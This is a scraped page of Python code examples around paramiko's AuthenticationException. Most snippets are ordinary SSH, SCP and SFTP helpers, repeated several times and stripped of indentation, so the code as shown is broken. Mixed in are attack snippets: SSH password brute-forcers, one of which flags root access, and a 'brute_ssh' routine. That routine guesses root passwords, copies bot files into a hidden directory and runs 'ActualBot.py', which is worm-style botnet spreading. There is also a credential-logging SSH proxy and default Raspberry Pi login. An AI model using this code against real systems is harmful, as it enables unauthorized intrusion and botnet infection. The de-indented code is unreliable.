def loginandcopy(hostname,uname,pwd,sfile,tfile):
try:
log.info("Establishing ssh connection")
client = getsshClient()
client.load_system_host_keys()
client.connect(hostname)#,username=uname)#,password=pwd)
except paramiko.AuthenticationException:
print("Authentication failed, please verify your credentials: %s")
except paramiko.SSHException as sshException:
print("Unable to establish SSH connection: %s" % sshException)
except paramiko.BadHostKeyException as badHostKeyException:
print("Unable to verify server's host key: %s" % badHostKeyException)
except Exception as e:
print(e.args)
try:
log.info("Getting SCP Client")
scpclient = scp.SCPClient(client.get_transport())
log.info(scpclient)
log.info("Hostname: %s", hostname)
log.info("source file: %s", sfile)
log.info("target file: %s", tfile)
scpclient.put(sfile,tfile)
except scp.SCPException as e:
print("Operation error: %s", e)
python类AuthenticationException()的实例源码
def loginandrun(hostname,uname,pwd,command):
try:
log.info("Establishing ssh connection")
client = getsshClient()
client.load_system_host_keys()
client.connect(hostname)#,username=uname)#,password=pwd)
except paramiko.AuthenticationException:
print("Authentication failed, please verify your credentials: %s")
except paramiko.SSHException as sshException:
print("Unable to establish SSH connection: %s" % sshException)
except paramiko.BadHostKeyException as badHostKeyException:
print("Unable to verify server's host key: %s" % badHostKeyException)
try:
stdin, stdout, stderr = client.exec_command(command)
result = stderr.read()
if len(result) > 0:
print("hit error" + result)
except Exception as e:
print("Operation error: %s", e)
# Any new implementation to use this method
def loginandcopydir(hostname,uname,pwd,sfile,tfile,recursive,preserve_times):
try:
log.info("Establishing ssh connection")
client = getsshClient()
client.load_system_host_keys()
client.connect(hostname) #,username=uname)#,password=pwd)
except paramiko.AuthenticationException:
print("Authentication failed, please verify your credentials: %s")
except paramiko.SSHException as sshException:
print("Unable to establish SSH connection: %s" % sshException)
except paramiko.BadHostKeyException as badHostKeyException:
print("Unable to verify server's host key: %s" % badHostKeyException)
except Exception as e:
print(e.args)
try:
scpclient = scp.SCPClient(client.get_transport())
scpclient.put(sfile,tfile,recursive,preserve_times)
except scp.SCPException as e:
print("Operation error: %s", e)
# Deprecated
def check(self):
url = "{}:{}/img/favicon.png?v=6.0.1-1213".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is not None and response.status_code == 200:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
target = self.target.replace("http://", "").replace("https://", "")
try:
ssh.connect(target, self.ssh_port, timeout=5, username=random_text(8), password=random_text(8))
except paramiko.AuthenticationException:
return True # target is vulnerable
except Exception:
pass
return False # target is not vulnerable
def check(self):
url = "{}:{}/img/favicon.png?v=6.0.1-1213".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is not None and response.status_code == 200:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
target = self.target.replace("http://", "").replace("https://", "")
try:
ssh.connect(target, self.ssh_port, timeout=5, username=random_text(8), password=random_text(8))
except paramiko.AuthenticationException:
return True # target is vulnerable
except Exception:
pass
return False # target is not vulnerable
def connect(self):
"""Call to set connection with remote client."""
try:
self.session = paramiko.SSHClient()
self.session.set_missing_host_key_policy(paramiko.AutoAddPolicy())
self.session.connect(
self.client_.ip, username=self.client_.user,
password=self.client_.pass_)
self.SFTP = self.session.open_sftp()
except (paramiko.AuthenticationException,
paramiko.ssh_exception.NoValidConnectionsError) as e:
print(colored("> {}".format(e), 'red'))
self.logger.error(e)
sys.exit()
def brute_ssh(self, host):
global passwords
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for pswd in passwords:
try:
ssh.connect(host, port=22, username="root", password=pswd)
sftp = ssh.open_sftp()
ssh.exec_command("cd ..")
ssh.exec_command("mkdir .etc")
ssh.exec_command("cd .etc")
for file in os.listdir("SSH_files_linux"):
sftp.put(file, ".etc")
sftp.close()
ssh.exec_command("chmod +x ActualBot.py")
ssh.exec_command("./ActualBot.py")
ssh.close()
except paramiko.AuthenticationException:
pass
except socket.error:
pass
return None
def _try_passwordless_paramiko(server, keyfile):
"""Try passwordless login with paramiko."""
if paramiko is None:
msg = "Paramiko unavaliable, "
if sys.platform == 'win32':
msg += "Paramiko is required for ssh tunneled connections on Windows."
else:
msg += "use OpenSSH."
raise ImportError(msg)
username, server, port = _split_server(server)
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
client.connect(server, port, username=username, key_filename=keyfile,
look_for_keys=True)
except paramiko.AuthenticationException:
return False
else:
client.close()
return True
def ssh(config, host):
"""
Check that a host is running SSH
:param config: Unused
:param host: The host to check
:return: 3-tuple of (success, name, message)
success: Boolean value indicating if there is a problem or not
name: DNS name
message: String describing the status
"""
del config
name = host
try:
ssh_conn = paramiko.SSHClient()
ssh_conn.set_missing_host_key_policy(
paramiko.client.MissingHostKeyPolicy())
ssh_conn.connect(host)
return True
except (paramiko.BadHostKeyException, paramiko.AuthenticationException,
paramiko.SSHException, socket.error) as e:
return (False, name, "Unable to SSH to %s %s %s"
% (host, e.__class__, e))
def Brute_Thread(ip,username,passwd):
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
global n,flag,flag1
n=n+1
try:
ssh.connect(ip,username=username,password=passwd)
except paramiko.AuthenticationException:
print Fore.RED+"[-]Username: %s\tPassword: %s failed."%(username,passwd) + Fore.RESET
else:
print Fore.GREEN+"\n********************************************************"
print "[#]Username: %s\tPassword: %s Found........!!!"%(username,passwd)
print "********************************************************"+Fore.RESET
flag=1
flag1=1
print Fore.RED+"\nFound correct password after %s attempts..." %n +Fore.RESET
return
ssh.close()
return
def check_connect(request):
if request.method == 'POST':
data = json.loads(request.body)
ip = data.get("ip")
port = int(data.get("port"))
uname = data.get("uname")
password = data.get("password")
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
try:
ssh.connect(ip, port, uname, password)
except paramiko.AuthenticationException:
ssh = None
if ssh is not None:
r = redis.Redis(host='localhost', port=6379, db=0)
if not r.get(ip):
r.set(ip, [port, uname, password])
return HttpResponse(json.dumps({"result": "success"}), content_type="application/json")
else:
return HttpResponse(json.dumps({"result": "failed"}), content_type="application/json")
else:
return Http404
def check_server( host, user, passwd ):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy( paramiko.AutoAddPolicy() )
try:
ssh.connect( host, port=22, username=user, password=passwd, timeout=10 )
printq.put( "[+] Login success: {}:{}@{}".format( user, passwd, host ) )
( stdin, stdout, stderr ) = ssh.exec_command( "id" )
result = " ".join( [ line.rstrip( "\n" ) for line in stdout.readlines() ] ).rstrip( "\n" )
if "uid=0" in result:
status = "root privs"
printq.put( "[+] Login success: {}:{}@{} - {}".format( user, passwd, host, status ) )
else:
printq.put( "[+] Login success: {}:{}@{}".format( user, passwd, host ) )
except paramiko.AuthenticationException:
printq.put( "[!] Login failed: {}:{}@{}".format( user, passwd, host ) )
except socket.error:
printq.put( "[!] Socket Error... skipping: {}:{}@{}".format( user, passwd, host ) )
except paramiko.ssh_exception.SSHException:
printq.put( "[!] Socket Error... skipping: {}:{}@{}".format( user, passwd, host ) )
except Exception as ERROR:
printq.put( "[!] Error - {}... skipping: {}:{}@{}".format( ERROR, user, passwd, host ) )
ssh.close()
def ssh_connect(cf):
"""
this is adapted from code by Sebastian Dahlgren
http://sebastiandahlgren.se/2012/10/11/using-paramiko-to-send-ssh-commands/
"""
try:
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(cf.server,username=cf.username)
print("Connected to %s" % cf.server)
except paramiko.AuthenticationException as e:
print("Authentication failed when connecting to %s" % cf.server)
print("error:",e)
sys.exit(1)
except Exception as e:
print("Couldn't establish an ssh connection to %s" % cf.server)
print("error:", e)
sys.exit(1)
return ssh
def connect(self):
"""Connect to host
"""
try:
self.client.connect(self.host,
username=self.username,
password=self.password,
port=self.port,
pkey=self.pkey,
timeout=self.timeout)
except paramiko.AuthenticationException as e:
raise DaskEc2Exception("Authentication Error to host '%s'" % self.host)
except sock_gaierror as e:
raise DaskEc2Exception("Unknown host '%s'" % self.host)
except sock_error as e:
raise DaskEc2Exception("Error connecting to host '%s:%s'\n%s" % (self.host, self.port, e))
except paramiko.SSHException as e:
raise DaskEc2Exception("General SSH error - %s" % e)
def sftp_conn(self):
""""""
try:
self.transport = paramiko.Transport((self.host, self.port))
self.transport.connect(username = self.username, password = self.password)
self.sftp = paramiko.SFTPClient.from_transport(self.transport)
return True
except paramiko.AuthenticationException:
G.log(G.ERROR, "SFTP Authentication failed when connecting to %s" % self.host)
return False
except:
G.log(G.ERROR, "SFTP Could not SSH to %s, waiting for it to start" % self.host)
return False
#----------------------------------------------------------------------
def _try_passwordless_paramiko(server, keyfile):
"""Try passwordless login with paramiko."""
if paramiko is None:
msg = "Paramiko unavaliable, "
if sys.platform == 'win32':
msg += "Paramiko is required for ssh tunneled connections on Windows."
else:
msg += "use OpenSSH."
raise ImportError(msg)
username, server, port = _split_server(server)
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
client.connect(server, port, username=username, key_filename=keyfile,
look_for_keys=True)
except paramiko.AuthenticationException:
return False
else:
client.close()
return True
control_gpio_GUI.py 文件源码
项目:Remote_raspberrypi_GPIO_Control
作者: Rahul14singh
项目源码
文件源码
阅读 26
收藏 0
点赞 0
评论 0
def trySSHConnect(self,host, portNum):
paramiko.util.log_to_file ('paramiko.log')
try:
self.ssh = paramiko.SSHClient()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
self.ssh.connect(host,port=portNum,username="pi", password="raspberry")
self.ssh.get_transport().window_size = 3 * 1024 * 1024
command='python /home/pi/Desktop/control_gpio_pi/initial_check.py'
stdin,stdout,stderr = self.ssh.exec_command(command)
print('\nstout:',stdout.read())
except paramiko.AuthenticationException:
print ("Authentication failed!")
return -1
except paramiko.BadHostKeyException:
print ("BadHostKey Exception!")
return -1
except paramiko.SSHException:
print ("SSH Exception!")
self.ssh.close()
return -1
except socket.error as e:
print ("Socket error ", e)
return -1
except:
print ("Could not SSH to %s, unhandled exception" % host)
return -1
print ("Made connection to " + host + ":" + str(portNum))
return 0
def check_auth_password(self, username, password):
self.log.info("SSHServer: got username:%s password:%s" \
% (username, password))
try:
# Try the authentication to the server and return the response
self.sshproto.destt.auth_password(username, password)
except paramiko.AuthenticationException:
self.log.error("SSHProtocol: BAAAD AUTH")
return paramiko.AUTH_FAILED
return paramiko.AUTH_SUCCESSFUL
#if (username == 'sshtest') and (password == 'Intrepi0wn!'):
#return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def exec_cmd(self, ip_addr, username, password, cmd,
ssh_log=None, look_for_keys=True, key_filename=None):
if ssh_log is not None:
self.SSH_LOG = ssh_log
if self.log.get_level() == Logger.DEBUG:
paramiko.util.log_to_file(self.SSH_LOG)
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(
ip_addr,
port=self.SWITCH_PORT,
username=username,
password=password,
look_for_keys=look_for_keys,
key_filename=key_filename)
except (
paramiko.BadHostKeyException,
paramiko.AuthenticationException,
paramiko.SSHException,
socket.error,
BaseException) as exc:
self.log.error('%s: %s' % (ip_addr, str(exc)))
raise SSH_Exception('SSH connection Failure - {}'.format(exc))
# sys.exit(1)
try:
_, stdout, stderr = ssh.exec_command(cmd)
except paramiko.SSHException as exc:
self.log.error('%s: %s, %s' % (ip_addr, str(exc), stderr.read()))
sys.exit(1)
stdout_ = stdout.read()
stderr_ = stderr.read()
status = stdout.channel.recv_exit_status()
ssh.close()
return status, stdout_, stderr_
def __init__(self, host, log=None, ssh_log=None, username=None,
password=None, look_for_keys=True, key_filename=None):
paramiko.SSHClient.__init__(self)
self.host = host
self.log = log
self.ssh_log = ssh_log
if ssh_log is not None:
paramiko.util.log_to_file(ssh_log)
elif log is not None:
if self.log.get_level() == Logger.DEBUG:
ssh_log = FILE_PATH[:FILE_PATH.rfind('/')]
ssh_log += '/ssh_paramiko.log'
paramiko.util.log_to_file(ssh_log)
if key_filename is None:
self.load_system_host_keys()
self.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
self.connect(
host,
username=username,
password=password,
look_for_keys=look_for_keys,
key_filename=key_filename)
except (
paramiko.BadHostKeyException,
paramiko.AuthenticationException,
paramiko.SSHException,
socket.error,
BaseException) as exc:
if log is not None:
self.log.error('%s: %s' % (host, str(exc)))
else:
print('%s: %s' % (host, str(exc)))
raise SSH_Exception('Connection Failure - {}'.format(exc))
def __init__ (self,
server_ctl,
session_class,
extra_args,
server,
newsocket,
addr,
debug):
self.session_class = session_class
self.extra_args = extra_args
self.server = server
self.client_socket = newsocket
self.client_addr = addr
self.debug = debug
self.server_ctl = server_ctl
self.sessions = []
try:
if self.debug:
logger.debug("%s: Opening SSH connection", str(self))
self.ssh = ssh.Transport(self.client_socket)
self.ssh.add_server_key(self.server.host_key)
self.ssh.start_server(server=self.server_ctl)
except ssh.AuthenticationException as error:
self.client_socket.close()
self.client_socket = None
logger.error("Authentication failed: %s", str(error))
raise
self.lock = threading.Lock()
self.running = True
self.thread = threading.Thread(None,
self._accept_chan_thread,
name="SSHAcceptThread")
self.thread.daemon = True
self.thread.start()
def GetDeviceConfig(ip,command,delay_factor=2,max_loops=30):
output = str()
try:
session = paramiko.SSHClient()
session.set_missing_host_key_policy(paramiko.AutoAddPolicy())
session.connect(ip, username = username, password = password)
connection = session.invoke_shell()
connection.send("term len 0\n")
connection.send(command)
for i in xrange(max_loops):
time.sleep(2 * delay_factor)
if connection.recv_ready():
output += connection.recv(MAX_BUFFER)
# Check for Invalid command
if 'invalid' in output.lower():
message = "Invalid Command sent: {}, error message: {}".format(command, output)
print 'Invalid comamnd found...', message
else:
print "recv_ready = False "
print "\nDONE for device %s" % ip
session.close()
return output
except paramiko.AuthenticationException:
print "* Invalid username or password. \n* Please check the username/password file or the device configuration!", ip
pass
except Exception as e:
print 'Error in connection {} , Device : {}'.format(e , ip)
pass
#Open SSHv2 connection to devices
RhelManagerPlugin.py 文件源码
项目:opsmgr
作者: open-power-ref-design-toolkit
项目源码
文件源码
阅读 50
收藏 0
点赞 0
评论 0
def connect(self, host, userid, password=None, ssh_key_string=None):
_method_ = "RhelPlugin.connect"
self.userid = userid
self.password = password
try:
self.client = paramiko.SSHClient()
self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
if ssh_key_string:
private_key = paramiko.RSAKey.from_private_key(StringIO(ssh_key_string), password)
self.client.connect(host, username=userid, pkey=private_key, timeout=30,
allow_agent=False)
else:
self.client.connect(host, username=userid, password=password, timeout=30,
allow_agent=False)
if not self._is_guest_rhel():
raise exceptions.InvalidDeviceException(
"Device is not a RHEL Device")
except paramiko.AuthenticationException:
logging.error("%s::userid/password combination not valid. host=%s userid=%s",
_method_, host, userid)
raise exceptions.AuthenticationException(
"userid/password combination not valid")
except (paramiko.ssh_exception.SSHException, OSError, socket.timeout) as e:
logging.exception(e)
logging.error("%s::Connection timed out. host=%s", _method_, host)
raise exceptions.ConnectionException("Unable to ssh to the device")
UbuntuManagerPlugin.py 文件源码
项目:opsmgr
作者: open-power-ref-design-toolkit
项目源码
文件源码
阅读 25
收藏 0
点赞 0
评论 0
def connect(self, host, userid, password, ssh_key_string=None):
_method_ = "UbuntuPlugin.connect"
try:
self.userid = userid
self.password = password
self.client = paramiko.SSHClient()
self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
if ssh_key_string:
private_key = paramiko.RSAKey.from_private_key(StringIO(ssh_key_string), password)
self.client.connect(host, username=userid, pkey=private_key, timeout=30,
allow_agent=False)
else:
self.client.connect(host, username=userid, password=password, timeout=30,
allow_agent=False)
if not self._is_ubuntu():
raise exceptions.InvalidDeviceException(
"Device is not a Ubuntu Device")
except paramiko.AuthenticationException:
logging.error("%s::userid/password combination not valid. host=%s userid=%s",
_method_, host, userid)
raise exceptions.AuthenticationException(
"userid/password combination not valid")
except (paramiko.ssh_exception.SSHException, OSError, socket.timeout) as e:
logging.exception(e)
logging.error("%s::Connection timed out. host=%s", _method_, host)
raise exceptions.ConnectionException("Unable to ssh to the device")
MLNXOSManagerPlugin.py 文件源码
项目:opsmgr
作者: open-power-ref-design-toolkit
项目源码
文件源码
阅读 24
收藏 0
点赞 0
评论 0
def connect(self, host, userid, password=None, ssh_key_string=None):
_method_ = "MLNXOSPlugin.connect"
self.host = host
self.userid = userid
try:
self.client = paramiko.SSHClient()
self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
if ssh_key_string:
private_key = paramiko.RSAKey.from_private_key(StringIO(ssh_key_string), password)
self.client.connect(host, username=userid, pkey=private_key, timeout=30,
allow_agent=False)
else:
self.client.connect(host, username=userid, password=password, timeout=30,
allow_agent=False)
if not self._is_mellanox_switch():
raise exceptions.InvalidDeviceException(
"Device is not a Mellanox Switch")
except paramiko.AuthenticationException:
logging.error("%s::userid/password combination not valid. host=%s userid=%s",
_method_, host, userid)
raise exceptions.AuthenticationException(
"userid/password combination not valid")
except (paramiko.ssh_exception.SSHException, OSError, socket.timeout) as e:
logging.exception(e)
logging.error("%s::Connection timed out. host=%s", _method_, host)
raise exceptions.ConnectionException("Unable to ssh to the device")
LenovoRackSwitchPlugin.py 文件源码
项目:opsmgr
作者: open-power-ref-design-toolkit
项目源码
文件源码
阅读 26
收藏 0
点赞 0
评论 0
def connect(self, host, userid, password=None, ssh_key_string=None):
_method_ = "RackSwitchPlugin.connect"
self.host = host
self.userid = userid
self.password = password
try:
self.client = paramiko.SSHClient()
self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
if ssh_key_string:
private_key = paramiko.RSAKey.from_private_key(StringIO(ssh_key_string), password)
self.client.connect(host, username=userid, pkey=private_key, timeout=30,
allow_agent=False)
else:
self.client.connect(host, username=userid, password=password, timeout=30,
allow_agent=False, look_for_keys=False)
if not self._is_rack_switch():
raise exceptions.DeviceException(
"Device is not a Lenovo Rack Switch")
except paramiko.AuthenticationException:
logging.error("%s::userid/password combination not valid. host=%s userid=%s",
_method_, host, userid)
raise exceptions.AuthenticationException(
"userid/password combination not valid")
except (paramiko.ssh_exception.SSHException, OSError, socket.timeout) as e:
logging.exception(e)
logging.error("%s::Connection timed out. host=%s", _method_, host)
raise exceptions.ConnectionException("Unable to ssh to the device")
def _try_passwordless_paramiko(server, keyfile):
"""Try passwordless login with paramiko."""
if paramiko is None:
msg = "Paramiko unavaliable, "
if sys.platform == 'win32':
msg += "Paramiko is required for ssh tunneled connections on Windows."
else:
msg += "use OpenSSH."
raise ImportError(msg)
username, server, port = _split_server(server)
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
client.connect(server, port, username=username, key_filename=keyfile,
look_for_keys=True)
except paramiko.AuthenticationException:
return False
else:
client.close()
return True
def _try_passwordless_paramiko(server, keyfile):
"""Try passwordless login with paramiko."""
if paramiko is None:
msg = "Paramiko unavaliable, "
if sys.platform == 'win32':
msg += "Paramiko is required for ssh tunneled connections on Windows."
else:
msg += "use OpenSSH."
raise ImportError(msg)
username, server, port = _split_server(server)
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
client.connect(server, port, username=username, key_filename=keyfile,
look_for_keys=True)
except paramiko.AuthenticationException:
return False
else:
client.close()
return True
def _try_passwordless_paramiko(server, keyfile):
"""Try passwordless login with paramiko."""
if paramiko is None:
msg = "Paramiko unavaliable, "
if sys.platform == 'win32':
msg += "Paramiko is required for ssh tunneled connections on Windows."
else:
msg += "use OpenSSH."
raise ImportError(msg)
username, server, port = _split_server(server)
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
client.connect(server, port, username=username, key_filename=keyfile,
look_for_keys=True)
except paramiko.AuthenticationException:
return False
else:
client.close()
return True
def _try_passwordless_paramiko(server, keyfile):
"""Try passwordless login with paramiko."""
if paramiko is None:
msg = "Paramiko unavaliable, "
if sys.platform == 'win32':
msg += "Paramiko is required for ssh tunneled connections on Windows."
else:
msg += "use OpenSSH."
raise ImportError(msg)
username, server, port = _split_server(server)
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
client.connect(server, port, username=username, key_filename=keyfile,
look_for_keys=True)
except paramiko.AuthenticationException:
return False
else:
client.close()
return True